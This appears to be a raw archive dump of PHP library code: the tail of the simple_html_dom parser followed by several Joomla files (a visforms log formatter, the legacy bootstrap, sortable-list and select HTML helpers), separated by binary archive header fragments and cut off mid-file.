"\xef\xbb\xbf") { $converted_text = substr($converted_text, 0, -3); } } return $converted_text; } /** * Returns true if $string is valid UTF-8 and false otherwise. * * @param mixed $str String to be tested * @return boolean */ static function is_utf8($str) { $c=0; $b=0; $bits=0; $len=strlen($str); for($i=0; $i<$len; $i++) { $c=ord($str[$i]); if($c > 128) { if(($c >= 254)) return false; elseif($c >= 252) $bits=6; elseif($c >= 248) $bits=5; elseif($c >= 240) $bits=4; elseif($c >= 224) $bits=3; elseif($c >= 192) $bits=2; else return false; if(($i+$bits) > $len) return false; while($bits > 1) { $i++; $b=ord($str[$i]); if($b < 128 || $b > 191) return false; $bits--; } } } return true; } /* function is_utf8($string) { //this is buggy return (utf8_encode(utf8_decode($string)) == $string); } */ /** * Function to try a few tricks to determine the displayed size of an img on the page. * NOTE: This will ONLY work on an IMG tag. Returns FALSE on all other tag types. * * @author John Schlick * @version April 19 2012 * @return array an array containing the 'height' and 'width' of the image on the page or -1 if we can't figure it out. */ function get_display_size() { global $debugObject; $width = -1; $height = -1; if ($this->tag !== 'img') { return false; } // See if there is aheight or width attribute in the tag itself. if (isset($this->attr['width'])) { $width = $this->attr['width']; } if (isset($this->attr['height'])) { $height = $this->attr['height']; } // Now look for an inline style. if (isset($this->attr['style'])) { // Thanks to user gnarf from stackoverflow for this regular expression. $attributes = array(); preg_match_all("/([\w-]+)\s*:\s*([^;]+)\s*;?/", $this->attr['style'], $matches, PREG_SET_ORDER); foreach ($matches as $match) { $attributes[$match[1]] = $match[2]; } // If there is a width in the style attributes: if (isset($attributes['width']) && $width == -1) { // check that the last two characters are px (pixels) if (strtolower(substr($attributes['width'], -2)) == 'px') { $proposed_width = substr($attributes['width'], 0, -2); // Now make sure that it's an integer and not something stupid. if (filter_var($proposed_width, FILTER_VALIDATE_INT)) { $width = $proposed_width; } } } // If there is a width in the style attributes: if (isset($attributes['height']) && $height == -1) { // check that the last two characters are px (pixels) if (strtolower(substr($attributes['height'], -2)) == 'px') { $proposed_height = substr($attributes['height'], 0, -2); // Now make sure that it's an integer and not something stupid. if (filter_var($proposed_height, FILTER_VALIDATE_INT)) { $height = $proposed_height; } } } } // Future enhancement: // Look in the tag to see if there is a class or id specified that has a height or width attribute to it. // Far future enhancement // Look at all the parent tags of this image to see if they specify a class or id that has an img selector that specifies a height or width // Note that in this case, the class or id will have the img subselector for it to apply to the image. // ridiculously far future development // If the class or id is specified in a SEPARATE css file thats not on the page, go get it and do what we were just doing for the ones on the page. $result = array('height' => $height, 'width' => $width); return $result; } // camel naming conventions function getAllAttributes() {return $this->attr;} function getAttribute($name) {return $this->__get($name);} function setAttribute($name, $value) {$this->__set($name, $value);} function hasAttribute($name) {return $this->__isset($name);} function removeAttribute($name) {$this->__set($name, null);} function getElementById($id) {return $this->find("#$id", 0);} function getElementsById($id, $idx=null) {return $this->find("#$id", $idx);} function getElementByTagName($name) {return $this->find($name, 0);} function getElementsByTagName($name, $idx=null) {return $this->find($name, $idx);} function parentNode() {return $this->parent();} function childNodes($idx=-1) {return $this->children($idx);} function firstChild() {return $this->first_child();} function lastChild() {return $this->last_child();} function nextSibling() {return $this->next_sibling();} function previousSibling() {return $this->prev_sibling();} function hasChildNodes() {return $this->has_child();} function nodeName() {return $this->tag;} function appendChild($node) {$node->parent($this); return $node;} } /** * simple html dom parser * Paperg - in the find routine: allow us to specify that we want case insensitive testing of the value of the selector. * Paperg - change $size from protected to public so we can easily access it * Paperg - added ForceTagsClosed in the constructor which tells us whether we trust the html or not. Default is to NOT trust it. * * @package PlaceLocalInclude */ class simple_html_dom { public $root = null; public $nodes = array(); public $callback = null; public $lowercase = false; // Used to keep track of how large the text was when we started. public $original_size; public $size; protected $pos; protected $doc; protected $char; protected $cursor; protected $parent; protected $noise = array(); protected $token_blank = " \t\r\n"; protected $token_equal = ' =/>'; protected $token_slash = " />\r\n\t"; protected $token_attr = ' >'; // Note that this is referenced by a child node, and so it needs to be public for that node to see this information. public $_charset = ''; public $_target_charset = ''; protected $default_br_text = ""; public $default_span_text = ""; // use isset instead of in_array, performance boost about 30%... protected $self_closing_tags = array('img'=>1, 'br'=>1, 'input'=>1, 'meta'=>1, 'link'=>1, 'hr'=>1, 'base'=>1, 'embed'=>1, 'spacer'=>1); protected $block_tags = array('root'=>1, 'body'=>1, 'form'=>1, 'div'=>1, 'span'=>1, 'table'=>1); // Known sourceforge issue #2977341 // B tags that are not closed cause us to return everything to the end of the document. protected $optional_closing_tags = array( 'tr'=>array('tr'=>1, 'td'=>1, 'th'=>1), 'th'=>array('th'=>1), 'td'=>array('td'=>1), 'li'=>array('li'=>1), 'dt'=>array('dt'=>1, 'dd'=>1), 'dd'=>array('dd'=>1, 'dt'=>1), 'dl'=>array('dd'=>1, 'dt'=>1), 'p'=>array('p'=>1), 'nobr'=>array('nobr'=>1), 'b'=>array('b'=>1), 'option'=>array('option'=>1), ); function __construct($str=null, $lowercase=true, $forceTagsClosed=true, $target_charset=DEFAULT_TARGET_CHARSET, $stripRN=true, $defaultBRText=DEFAULT_BR_TEXT, $defaultSpanText=DEFAULT_SPAN_TEXT) { if ($str) { if (preg_match("/^http:\/\//i",$str) || is_file($str)) { $this->load_file($str); } else { $this->load($str, $lowercase, $stripRN, $defaultBRText, $defaultSpanText); } } // Forcing tags to be closed implies that we don't trust the html, but it can lead to parsing errors if we SHOULD trust the html. if (!$forceTagsClosed) { $this->optional_closing_array=array(); } $this->_target_charset = $target_charset; } function __destruct() { $this->clear(); } // load html from string function load($str, $lowercase=true, $stripRN=true, $defaultBRText=DEFAULT_BR_TEXT, $defaultSpanText=DEFAULT_SPAN_TEXT) { global $debugObject; // prepare $this->prepare($str, $lowercase, $stripRN, $defaultBRText, $defaultSpanText); // strip out comments $this->remove_noise("'<!--(.*?)-->'is"); // strip out cdata $this->remove_noise("'<!\[CDATA\[(.*?)\]\]>'is", true); // Per sourceforge http://sourceforge.net/tracker/?func=detail&aid=2949097&group_id=218559&atid=1044037 // Script tags removal now preceeds style tag removal. // strip out <script> tags $this->remove_noise("'<\s*script[^>]*[^/]>(.*?)<\s*/\s*script\s*>'is"); $this->remove_noise("'<\s*script\s*>(.*?)<\s*/\s*script\s*>'is"); // strip out <style> tags $this->remove_noise("'<\s*style[^>]*[^/]>(.*?)<\s*/\s*style\s*>'is"); $this->remove_noise("'<\s*style\s*>(.*?)<\s*/\s*style\s*>'is"); // strip out preformatted tags $this->remove_noise("'<\s*(?:code)[^>]*>(.*?)<\s*/\s*(?:code)\s*>'is"); // strip out server side scripts $this->remove_noise("'(<\?)(.*?)(\?>)'s", true); // strip smarty scripts $this->remove_noise("'(\{\w)(.*?)(\})'s", true); // parsing while ($this->parse()); // end $this->root->_[HDOM_INFO_END] = $this->cursor; $this->parse_charset(); // make load function chainable return $this; } // load html from file function load_file() { $args = func_get_args(); $this->load(call_user_func_array('file_get_contents', $args), true); // Throw an error if we can't properly load the dom. if (($error=error_get_last())!==null) { $this->clear(); return false; } } // set callback function function set_callback($function_name) { $this->callback = $function_name; } // remove callback function function remove_callback() { $this->callback = null; } // save dom as string function save($filepath='') { $ret = $this->root->innertext(); if ($filepath!=='') file_put_contents($filepath, $ret, LOCK_EX); return $ret; } // find dom node by css selector // Paperg - allow us to specify that we want case insensitive testing of the value of the selector. function find($selector, $idx=null, $lowercase=false) { return $this->root->find($selector, $idx, $lowercase); } // clean up memory due to php5 circular references memory leak... function clear() { foreach ($this->nodes as $n) {$n->clear(); $n = null;} // This add next line is documented in the sourceforge repository. 2977248 as a fix for ongoing memory leaks that occur even with the use of clear. if (isset($this->children)) foreach ($this->children as $n) {$n->clear(); $n = null;} if (isset($this->parent)) {$this->parent->clear(); unset($this->parent);} if (isset($this->root)) {$this->root->clear(); unset($this->root);} unset($this->doc); unset($this->noise); } function dump($show_attr=true) { $this->root->dump($show_attr); } // prepare HTML data and init everything protected function prepare($str, $lowercase=true, $stripRN=true, $defaultBRText=DEFAULT_BR_TEXT, $defaultSpanText=DEFAULT_SPAN_TEXT) { $this->clear(); // set the length of content before we do anything to it. $this->size = strlen($str); // Save the original size of the html that we got in. It might be useful to someone. $this->original_size = $this->size; //before we save the string as the doc... strip out the \r \n's if we are told to. if ($stripRN) { $str = str_replace("\r", " ", $str); $str = str_replace("\n", " ", $str); // set the length of content since we have changed it. $this->size = strlen($str); } $this->doc = $str; $this->pos = 0; $this->cursor = 1; $this->noise = array(); $this->nodes = array(); $this->lowercase = $lowercase; $this->default_br_text = $defaultBRText; $this->default_span_text = $defaultSpanText; $this->root = new simple_html_dom_node($this); $this->root->tag = 'root'; $this->root->_[HDOM_INFO_BEGIN] = -1; $this->root->nodetype = HDOM_TYPE_ROOT; $this->parent = $this->root; if ($this->size>0) $this->char = $this->doc[0]; } // parse html content protected function parse() { if (($s = $this->copy_until_char('<'))==='') { return $this->read_tag(); } // text $node = new simple_html_dom_node($this); ++$this->cursor; $node->_[HDOM_INFO_TEXT] = $s; $this->link_nodes($node, false); return true; } // PAPERG - dkchou - added this to try to identify the character set of the page we have just parsed so we know better how to spit it out later. // NOTE: IF you provide a routine called get_last_retrieve_url_contents_content_type which returns the CURLINFO_CONTENT_TYPE from the last curl_exec // (or the content_type header from the last transfer), we will parse THAT, and if a charset is specified, we will use it over any other mechanism. protected function parse_charset() { global $debugObject; $charset = null; if (function_exists('get_last_retrieve_url_contents_content_type')) { $contentTypeHeader = get_last_retrieve_url_contents_content_type(); $success = preg_match('/charset=(.+)/', $contentTypeHeader, $matches); if ($success) { $charset = $matches[1]; if (is_object($debugObject)) {$debugObject->debugLog(2, 'header content-type found charset of: ' . $charset);} } } if (empty($charset)) { $el = $this->root->find('meta[http-equiv=Content-Type]',0); if (!empty($el)) { $fullvalue = $el->content; if (is_object($debugObject)) {$debugObject->debugLog(2, 'meta content-type tag found' . $fullvalue);} if (!empty($fullvalue)) { $success = preg_match('/charset=(.+)/', $fullvalue, $matches); if ($success) { $charset = $matches[1]; } else { // If there is a meta tag, and they don't specify the character set, research says that it's typically ISO-8859-1 if (is_object($debugObject)) {$debugObject->debugLog(2, 'meta content-type tag couldn\'t be parsed. using iso-8859 default.');} $charset = 'ISO-8859-1'; } } } } // If we couldn't find a charset above, then lets try to detect one based on the text we got... if (empty($charset)) { // Have php try to detect the encoding from the text given to us. $charset = mb_detect_encoding($this->root->plaintext . "ascii", $encoding_list = array( "UTF-8", "CP1252" ) ); if (is_object($debugObject)) {$debugObject->debugLog(2, 'mb_detect found: ' . $charset);} // and if this doesn't work... then we need to just wrongheadedly assume it's UTF-8 so that we can move on - cause this will usually give us most of what we need... if ($charset === false) { if (is_object($debugObject)) {$debugObject->debugLog(2, 'since mb_detect failed - using default of utf-8');} $charset = 'UTF-8'; } } // Since CP1252 is a superset, if we get one of it's subsets, we want it instead. if ((strtolower($charset) == strtolower('ISO-8859-1')) || (strtolower($charset) == strtolower('Latin1')) || (strtolower($charset) == strtolower('Latin-1'))) { if (is_object($debugObject)) {$debugObject->debugLog(2, 'replacing ' . $charset . ' with CP1252 as its a superset');} $charset = 'CP1252'; } if (is_object($debugObject)) {$debugObject->debugLog(1, 'EXIT - ' . $charset);} return $this->_charset = $charset; } // read tag info protected function read_tag() { if ($this->char!=='<') { $this->root->_[HDOM_INFO_END] = $this->cursor; return false; } $begin_tag_pos = $this->pos; $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next // end tag if ($this->char==='/') { $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next // This represents the change in the simple_html_dom trunk from revision 180 to 181. // $this->skip($this->token_blank_t); $this->skip($this->token_blank); $tag = $this->copy_until_char('>'); // skip attributes in end tag if (($pos = strpos($tag, ' '))!==false) $tag = substr($tag, 0, $pos); $parent_lower = strtolower($this->parent->tag); $tag_lower = strtolower($tag); if ($parent_lower!==$tag_lower) { if (isset($this->optional_closing_tags[$parent_lower]) && isset($this->block_tags[$tag_lower])) { $this->parent->_[HDOM_INFO_END] = 0; $org_parent = $this->parent; while (($this->parent->parent) && strtolower($this->parent->tag)!==$tag_lower) $this->parent = $this->parent->parent; if (strtolower($this->parent->tag)!==$tag_lower) { $this->parent = $org_parent; // restore origonal parent if ($this->parent->parent) $this->parent = $this->parent->parent; $this->parent->_[HDOM_INFO_END] = $this->cursor; return $this->as_text_node($tag); } } else if (($this->parent->parent) && isset($this->block_tags[$tag_lower])) { $this->parent->_[HDOM_INFO_END] = 0; $org_parent = $this->parent; while (($this->parent->parent) && strtolower($this->parent->tag)!==$tag_lower) $this->parent = $this->parent->parent; if (strtolower($this->parent->tag)!==$tag_lower) { $this->parent = $org_parent; // restore origonal parent $this->parent->_[HDOM_INFO_END] = $this->cursor; return $this->as_text_node($tag); } } else if (($this->parent->parent) && strtolower($this->parent->parent->tag)===$tag_lower) { $this->parent->_[HDOM_INFO_END] = 0; $this->parent = $this->parent->parent; } else return $this->as_text_node($tag); } $this->parent->_[HDOM_INFO_END] = $this->cursor; if ($this->parent->parent) $this->parent = $this->parent->parent; $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next return true; } $node = new simple_html_dom_node($this); $node->_[HDOM_INFO_BEGIN] = $this->cursor; ++$this->cursor; $tag = $this->copy_until($this->token_slash); $node->tag_start = $begin_tag_pos; // doctype, cdata & comments... if (isset($tag[0]) && $tag[0]==='!') { $node->_[HDOM_INFO_TEXT] = '<' . $tag . $this->copy_until_char('>'); if (isset($tag[2]) && $tag[1]==='-' && $tag[2]==='-') { $node->nodetype = HDOM_TYPE_COMMENT; $node->tag = 'comment'; } else { $node->nodetype = HDOM_TYPE_UNKNOWN; $node->tag = 'unknown'; } if ($this->char==='>') $node->_[HDOM_INFO_TEXT].='>'; $this->link_nodes($node, true); $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next return true; } // text if ($pos=strpos($tag, '<')!==false) { $tag = '<' . substr($tag, 0, -1); $node->_[HDOM_INFO_TEXT] = $tag; $this->link_nodes($node, false); $this->char = $this->doc[--$this->pos]; // prev return true; } if (!preg_match("/^[\w-:]+$/", $tag)) { $node->_[HDOM_INFO_TEXT] = '<' . $tag . $this->copy_until('<>'); if ($this->char==='<') { $this->link_nodes($node, false); return true; } if ($this->char==='>') $node->_[HDOM_INFO_TEXT].='>'; $this->link_nodes($node, false); $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next return true; } // begin tag $node->nodetype = HDOM_TYPE_ELEMENT; $tag_lower = strtolower($tag); $node->tag = ($this->lowercase) ? $tag_lower : $tag; // handle optional closing tags if (isset($this->optional_closing_tags[$tag_lower]) ) { while (isset($this->optional_closing_tags[$tag_lower][strtolower($this->parent->tag)])) { $this->parent->_[HDOM_INFO_END] = 0; $this->parent = $this->parent->parent; } $node->parent = $this->parent; } $guard = 0; // prevent infinity loop $space = array($this->copy_skip($this->token_blank), '', ''); // attributes do { if ($this->char!==null && $space[0]==='') { break; } $name = $this->copy_until($this->token_equal); if ($guard===$this->pos) { $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next continue; } $guard = $this->pos; // handle endless '<' if ($this->pos>=$this->size-1 && $this->char!=='>') { $node->nodetype = HDOM_TYPE_TEXT; $node->_[HDOM_INFO_END] = 0; $node->_[HDOM_INFO_TEXT] = '<'.$tag . $space[0] . $name; $node->tag = 'text'; $this->link_nodes($node, false); return true; } // handle mismatch '<' if ($this->doc[$this->pos-1]=='<') { $node->nodetype = HDOM_TYPE_TEXT; $node->tag = 'text'; $node->attr = array(); $node->_[HDOM_INFO_END] = 0; $node->_[HDOM_INFO_TEXT] = substr($this->doc, $begin_tag_pos, $this->pos-$begin_tag_pos-1); $this->pos -= 2; $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next $this->link_nodes($node, false); return true; } if ($name!=='/' && $name!=='') { $space[1] = $this->copy_skip($this->token_blank); $name = $this->restore_noise($name); if ($this->lowercase) $name = strtolower($name); if ($this->char==='=') { $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next $this->parse_attr($node, $name, $space); } else { //no value attr: nowrap, checked selected... $node->_[HDOM_INFO_QUOTE][] = HDOM_QUOTE_NO; $node->attr[$name] = true; if ($this->char!='>') $this->char = $this->doc[--$this->pos]; // prev } $node->_[HDOM_INFO_SPACE][] = $space; $space = array($this->copy_skip($this->token_blank), '', ''); } else break; } while ($this->char!=='>' && $this->char!=='/'); $this->link_nodes($node, true); $node->_[HDOM_INFO_ENDSPACE] = $space[0]; // check self closing if ($this->copy_until_char_escape('>')==='/') { $node->_[HDOM_INFO_ENDSPACE] .= '/'; $node->_[HDOM_INFO_END] = 0; } else { // reset parent if (!isset($this->self_closing_tags[strtolower($node->tag)])) $this->parent = $node; } $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next // If it's a BR tag, we need to set it's text to the default text. // This way when we see it in plaintext, we can generate formatting that the user wants. // since a br tag never has sub nodes, this works well. if ($node->tag == "br") { $node->_[HDOM_INFO_INNER] = $this->default_br_text; } return true; } // parse attributes protected function parse_attr($node, $name, &$space) { // Per sourceforge: http://sourceforge.net/tracker/?func=detail&aid=3061408&group_id=218559&atid=1044037 // If the attribute is already defined inside a tag, only pay atetntion to the first one as opposed to the last one. if (isset($node->attr[$name])) { return; } $space[2] = $this->copy_skip($this->token_blank); switch ($this->char) { case '"': $node->_[HDOM_INFO_QUOTE][] = HDOM_QUOTE_DOUBLE; $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next $node->attr[$name] = $this->restore_noise($this->copy_until_char_escape('"')); $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next break; case '\'': $node->_[HDOM_INFO_QUOTE][] = HDOM_QUOTE_SINGLE; $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next $node->attr[$name] = $this->restore_noise($this->copy_until_char_escape('\'')); $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next break; default: $node->_[HDOM_INFO_QUOTE][] = HDOM_QUOTE_NO; $node->attr[$name] = $this->restore_noise($this->copy_until($this->token_attr)); } // PaperG: Attributes should not have \r or \n in them, that counts as html whitespace. $node->attr[$name] = str_replace("\r", "", $node->attr[$name]); $node->attr[$name] = str_replace("\n", "", $node->attr[$name]); // PaperG: If this is a "class" selector, lets get rid of the preceeding and trailing space since some people leave it in the multi class case. if ($name == "class") { $node->attr[$name] = trim($node->attr[$name]); } } // link node's parent protected function link_nodes(&$node, $is_child) { $node->parent = $this->parent; $this->parent->nodes[] = $node; if ($is_child) { $this->parent->children[] = $node; } } // as a text node protected function as_text_node($tag) { $node = new simple_html_dom_node($this); ++$this->cursor; $node->_[HDOM_INFO_TEXT] = '</' . $tag . '>'; $this->link_nodes($node, false); $this->char = (++$this->pos<$this->size) ? $this->doc[$this->pos] : null; // next return true; } protected function skip($chars) { $this->pos += strspn($this->doc, $chars, $this->pos); $this->char = ($this->pos<$this->size) ? $this->doc[$this->pos] : null; // next } protected function copy_skip($chars) { $pos = $this->pos; $len = strspn($this->doc, $chars, $pos); $this->pos += $len; $this->char = ($this->pos<$this->size) ? $this->doc[$this->pos] : null; // next if ($len===0) return ''; return substr($this->doc, $pos, $len); } protected function copy_until($chars) { $pos = $this->pos; $len = strcspn($this->doc, $chars, $pos); $this->pos += $len; $this->char = ($this->pos<$this->size) ? $this->doc[$this->pos] : null; // next return substr($this->doc, $pos, $len); } protected function copy_until_char($char) { if ($this->char===null) return ''; if (($pos = strpos($this->doc, $char, $this->pos))===false) { $ret = substr($this->doc, $this->pos, $this->size-$this->pos); $this->char = null; $this->pos = $this->size; return $ret; } if ($pos===$this->pos) return ''; $pos_old = $this->pos; $this->char = $this->doc[$pos]; $this->pos = $pos; return substr($this->doc, $pos_old, $pos-$pos_old); } protected function copy_until_char_escape($char) { if ($this->char===null) return ''; $start = $this->pos; while (1) { if (($pos = strpos($this->doc, $char, $start))===false) { $ret = substr($this->doc, $this->pos, $this->size-$this->pos); $this->char = null; $this->pos = $this->size; return $ret; } if ($pos===$this->pos) return ''; if ($this->doc[$pos-1]==='\\') { $start = $pos+1; continue; } $pos_old = $this->pos; $this->char = $this->doc[$pos]; $this->pos = $pos; return substr($this->doc, $pos_old, $pos-$pos_old); } } // remove noise from html content // save the noise in the $this->noise array. protected function remove_noise($pattern, $remove_tag=false) { global $debugObject; if (is_object($debugObject)) { $debugObject->debugLogEntry(1); } $count = preg_match_all($pattern, $this->doc, $matches, PREG_SET_ORDER|PREG_OFFSET_CAPTURE); for ($i=$count-1; $i>-1; --$i) { $key = '___noise___'.sprintf('% 5d', count($this->noise)+1000); if (is_object($debugObject)) { $debugObject->debugLog(2, 'key is: ' . $key); } $idx = ($remove_tag) ? 0 : 1; $this->noise[$key] = $matches[$i][$idx][0]; $this->doc = substr_replace($this->doc, $key, $matches[$i][$idx][1], strlen($matches[$i][$idx][0])); } // reset the length of content $this->size = strlen($this->doc); if ($this->size>0) { $this->char = $this->doc[0]; } } // restore noise to html content function restore_noise($text) { global $debugObject; if (is_object($debugObject)) { $debugObject->debugLogEntry(1); } while (($pos=strpos($text, '___noise___'))!==false) { // Sometimes there is a broken piece of markup, and we don't GET the pos+11 etc... token which indicates a problem outside of us... if (strlen($text) > $pos+15) { $key = '___noise___'.$text[$pos+11].$text[$pos+12].$text[$pos+13].$text[$pos+14].$text[$pos+15]; if (is_object($debugObject)) { $debugObject->debugLog(2, 'located key of: ' . $key); } if (isset($this->noise[$key])) { $text = substr($text, 0, $pos).$this->noise[$key].substr($text, $pos+16); } else { // do this to prevent an infinite loop. $text = substr($text, 0, $pos).'UNDEFINED NOISE FOR KEY: '.$key . substr($text, $pos+16); } } else { // There is no valid key being given back to us... We must get rid of the ___noise___ or we will have a problem. $text = substr($text, 0, $pos).'NO NUMERIC NOISE KEY' . substr($text, $pos+11); } } return $text; } // Sometimes we NEED one of the noise elements. function search_noise($text) { global $debugObject; if (is_object($debugObject)) { $debugObject->debugLogEntry(1); } foreach($this->noise as $noiseElement) { if (strpos($noiseElement, $text)!==false) { return $noiseElement; } } } function __toString() { return $this->root->innertext(); } function __get($name) { switch ($name) { case 'outertext': return $this->root->innertext(); case 'innertext': return $this->root->innertext(); case 'plaintext': return $this->root->text(); case 'charset': return $this->_charset; case 'target_charset': return $this->_target_charset; } } // camel naming conventions function childNodes($idx=-1) {return $this->root->childNodes($idx);} function firstChild() {return $this->root->first_child();} function lastChild() {return $this->root->last_child();} function createElement($name, $value=null) {return @str_get_html("<$name>$value</$name>")->first_child();} function createTextNode($value) {return @end(str_get_html($value)->nodes);} function getElementById($id) {return $this->find("#$id", 0);} function getElementsById($id, $idx=null) {return $this->find("#$id", $idx);} function getElementByTagName($name) {return $this->find($name, 0);} function getElementsByTagName($name, $idx=-1) {return $this->find($name, $idx);} function loadFile() {$args = func_get_args();$this->load_file($args);} } ?>PK���\M�j�440visolutions/log/logger/formattedtextvisforms.phpnu&1i�<?php /** * @version $Id: script.php 22354 2011-11-07 05:01:16Z github_bot $ * @package com_visforms * @copyright Copyright (C) 2005 - 2011 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ // no direct access defined('_JEXEC') or die( 'Restricted access' ); jimport('joomla.log.log'); class JLogLoggerFormattedtextvisforms extends JLogLoggerFormattedtext { /** * @var array Translation array for JLogEntry priorities to SysLog priority names. * @since 11.1 */ protected $priorities = array( JLog::EMERGENCY => 'EMG', JLog::ALERT => 'ALT', JLog::CRITICAL => 'CRI', JLog::ERROR => 'ERR', JLog::WARNING => 'WRN', JLog::NOTICE => 'NTC', JLog::INFO => 'INF', JLog::DEBUG => 'DBG'); } ?>PK���\�#o,,!visolutions/log/logger/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK���\�#o,,visolutions/log/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK���\S���import.legacy.phpnu�[���<?php /** * Bootstrap file for the Joomla Platform [with legacy libraries]. Including this file into your application * will make Joomla Platform libraries [including legacy libraries] available for use. * * @package Joomla.Platform * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ // Set the platform root path as a constant if necessary. if (!defined('JPATH_PLATFORM')) { define('JPATH_PLATFORM', __DIR__); } // Detect the native operating system type. $os = strtoupper(substr(PHP_OS, 0, 3)); if (!defined('IS_WIN')) { define('IS_WIN', $os === 'WIN'); } if (!defined('IS_UNIX')) { define('IS_UNIX', $os !== 'MAC' && $os !== 'WIN'); } /** * @deprecated 4.0 Use IS_UNIX instead */ if (!defined('IS_MAC')) { define('IS_MAC', IS_UNIX === true && ($os === 'DAR' || $os === 'MAC')); } // Import the library loader if necessary. if (!class_exists('JLoader')) { require_once JPATH_PLATFORM . '/loader.php'; } // Make sure that the Joomla Loader has been successfully loaded. if (!class_exists('JLoader')) { throw new RuntimeException('Joomla Loader not loaded.'); } // Setup the autoloaders. JLoader::setup(); JLoader::registerPrefix('J', JPATH_PLATFORM . '/legacy'); // Check if the JsonSerializable interface exists already if (!interface_exists('JsonSerializable')) { JLoader::register('JsonSerializable', JPATH_PLATFORM . '/vendor/joomla/compat/src/JsonSerializable.php'); } // Add deprecated constants // @deprecated 4.0 define('JPATH_ISWIN', IS_WIN); define('JPATH_ISMAC', IS_MAC); /** * Mask for the raw routing mode * * @deprecated 4.0 */ const JROUTER_MODE_RAW = 0; /** * Mask for the SEF routing mode * * @deprecated 4.0 */ const JROUTER_MODE_SEF = 1; // Register the PasswordHash lib JLoader::register('PasswordHash', JPATH_PLATFORM . '/phpass/PasswordHash.php'); // Register classes where the names have been changed to fit the autoloader rules // @deprecated 4.0 JLoader::register('JSimpleCrypt', JPATH_PLATFORM . '/legacy/simplecrypt/simplecrypt.php'); JLoader::register('JTree', JPATH_PLATFORM . '/legacy/base/tree.php'); JLoader::register('JNode', JPATH_PLATFORM . '/legacy/base/node.php'); JLoader::register('JObserver', JPATH_PLATFORM . '/legacy/base/observer.php'); JLoader::register('JObservable', JPATH_PLATFORM . '/legacy/base/observable.php'); JLoader::register('LogException', JPATH_PLATFORM . '/legacy/log/logexception.php'); JLoader::register('JXMLElement', JPATH_PLATFORM . '/legacy/utilities/xmlelement.php'); JLoader::register('JCli', JPATH_PLATFORM . '/legacy/application/cli.php'); JLoader::register('JDaemon', JPATH_PLATFORM . '/legacy/application/daemon.php'); JLoader::register('JApplication', JPATH_PLATFORM . '/legacy/application/application.php'); PK���\a�� cms/html/sortablelist.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * HTML utility class for creating a sortable table list * * @since 3.0 * @deprecated 5.0 Sortable List will be deprecated in favour of a new dragula script in 4.0 */ abstract class JHtmlSortablelist { /** * @var array Array containing information for loaded files * @since 3.0 * @deprecated 4.0 This property will be removed without replacement */ protected static $loaded = array(); /** * Method to load the Sortable script and make table sortable * * @param string $tableId DOM id of the table * @param string $formId DOM id of the form * @param string $sortDir Sort direction * @param string $saveOrderingUrl Save ordering url, ajax-load after an item dropped * @param boolean $proceedSaveOrderButton Set whether a save order button is displayed * @param boolean $nestedList Set whether the list is a nested list * * @return void * * @since 3.0 * * @throws InvalidArgumentException * @deprecated 5.0 In Joomla 4 call JHtml::_('dragablelist.dragable') and add a class of js-draggable to the tbody element of the table */ public static function sortable($tableId, $formId, $sortDir = 'asc', $saveOrderingUrl = null, $proceedSaveOrderButton = true, $nestedList = false) { // Only load once if (isset(static::$loaded[__METHOD__])) { return; } // Note: $i is required but has to be an optional argument in the function call due to argument order if ($saveOrderingUrl === null) { throw new InvalidArgumentException(sprintf('$saveOrderingUrl is a required argument in %s()', __METHOD__)); } $displayData = array( 'tableId' => $tableId, 'formId' => $formId, 'sortDir' => $sortDir, 'saveOrderingUrl' => $saveOrderingUrl, 'nestedList' => $nestedList, 'proceedSaveOrderButton' => $proceedSaveOrderButton, ); JLayoutHelper::render('joomla.html.sortablelist', $displayData); // Set static array static::$loaded[__METHOD__] = true; return; } /** * Method to inject script for enabled and disable Save order button * when changing value of ordering input boxes * * @return void * * @since 3.0 * * @deprecated 4.0 The logic is merged in the JLayout file */ public static function _proceedSaveOrderButton() { JFactory::getDocument()->addScriptDeclaration( "(function ($){ $(document).ready(function (){ var saveOrderButton = $('.saveorder'); saveOrderButton.css({'opacity':'0.2', 'cursor':'default'}).attr('onclick','return false;'); var oldOrderingValue = ''; $('.text-area-order').focus(function () { oldOrderingValue = $(this).attr('value'); }) .keyup(function (){ var newOrderingValue = $(this).attr('value'); if (oldOrderingValue != newOrderingValue) { saveOrderButton.css({'opacity':'1', 'cursor':'pointer'}).removeAttr('onclick') } }); }); })(jQuery);" ); return; } } PK���\���X�m�mcms/html/select.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2007 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; use Joomla\Utilities\ArrayHelper; /** * Utility class for creating HTML select lists * * @since 1.5 */ abstract class JHtmlSelect { /** * Default values for options. Organized by option group. * * @var array * @since 1.5 */ protected static $optionDefaults = array( 'option' => array( 'option.attr' => null, 'option.disable' => 'disable', 'option.id' => null, 'option.key' => 'value', 'option.key.toHtml' => true, 'option.label' => null, 'option.label.toHtml' => true, 'option.text' => 'text', 'option.text.toHtml' => true, 'option.class' => 'class', 'option.onclick' => 'onclick', ), ); /** * Generates a yes/no radio list. * * @param string $name The value of the HTML name attribute * @param array $attribs Additional HTML attributes for the `<select>` tag * @param string 